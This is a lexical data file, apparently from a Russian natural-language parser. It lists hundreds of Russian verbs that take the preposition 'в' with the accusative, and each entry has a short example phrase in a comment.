rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
